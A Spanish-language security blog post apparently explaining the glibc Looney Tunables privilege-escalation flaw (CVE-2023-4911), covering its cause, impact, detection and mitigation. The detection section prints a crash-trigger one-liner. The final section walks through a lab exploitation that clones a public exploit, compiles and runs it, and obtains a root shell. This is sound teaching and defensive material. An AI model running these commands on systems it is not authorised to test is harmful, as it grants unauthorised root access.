cd ~/blog

~/vulns/looney-tunables-cve-2023-4911.md

Looney Tunables (CVE-2023-4911)

privescautor: Jordy Pérez Osorio aviso legal
privescglibcLinuxBOF

~2 min de lectura


1. Descripción técnica

Looney Tunables, identificada como CVE-2023-4911, es un heap-based buffer overflow en el cargador dinámico de glibc (ld.so) durante el procesamiento de la variable de entorno GLIBC_TUNABLES.

El parser maneja incorrectamente una secuencia duplicada del tipo tunable=tunable=valor y puede escribir más allá del búfer asignado en el heap. Un atacante local puede preparar el entorno y activar el cargador mediante un ejecutable SUID o SGID enlazado dinámicamente. La explotación exitosa altera el comportamiento del loader antes de que el programa abandone su contexto privilegiado y puede producir ejecución como root.

Es una escalada de privilegios local (no remota): requiere acceso previo a una shell sin privilegios.

2. Impacto de la vulnerabilidad

  • Escalada de privilegios a root en sistemas con la glibc vulnerable.
  • Afecta a distribuciones muy extendidas en sus versiones de 2023 (Fedora, Ubuntu, Debian, etc.) con glibc 2.34–2.38.
  • Explotación fiable y con PoCs públicas, lo que la hizo muy popular en CTFs y pentesting tras su publicación.

3. Contexto

  • Descubierta por el equipo de investigación de Qualys y publicada en octubre de 2023.
  • El nombre "Looney Tunables" juega con la palabra tunables.
  • Rápidamente aparecieron exploits públicos (p. ej. el de hadrian3689 en GitHub) que generan una libc maliciosa y un binario que dispara el overflow.

4. Condiciones necesarias

  1. Una compilación vulnerable de glibc derivada del cambio introducido en 2.34 y sin la corrección del proveedor.
  2. Presencia de un ejecutable SUID o SGID enlazado dinámicamente que active el loader en modo seguro.
  3. Acceso local como usuario sin privilegios.

5. Validación y detección

  • Comprobación rápida (un binario SUID con un GLIBC_TUNABLES malformado provoca un crash en versiones vulnerables):
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=$(printf '%08192x' 1)" /usr/bin/su --help
# Segmentation fault (core dumped)  → probablemente vulnerable
  • Verificar la versión de glibc:
ldd --version

6. Mitigación

  1. Actualizar glibc a una versión parcheada (la solución definitiva).
  2. Como mitigación temporal, se puede usar una política de SystemTap que bloquee la ejecución de SUID con GLIBC_TUNABLES en el entorno.
  3. Reducir el número de binarios SUID innecesarios.

7. Explotación documentada en 026-pipy

Confirmamos la vulnerabilidad y usamos un exploit público que genera una libc maliciosa y compila el disparador:

angela@pipy:/tmp$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

angela@pipy:/tmp$ git clone https://github.com/hadrian3689/looney-tunables-CVE-2023-4911.git
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ python3 libc.py
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ gcc exp.c -o exp
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ ./exp
# (tras varios intentos)
root@pipy:/tmp#

8. Clasificación

  • Tipo: Heap-based Buffer Overflow / Local Privilege Escalation
  • CVE: CVE-2023-4911
  • CWE:
    • CWE-122: Heap-based Buffer Overflow

9. Referencias y conexiones

// relacionados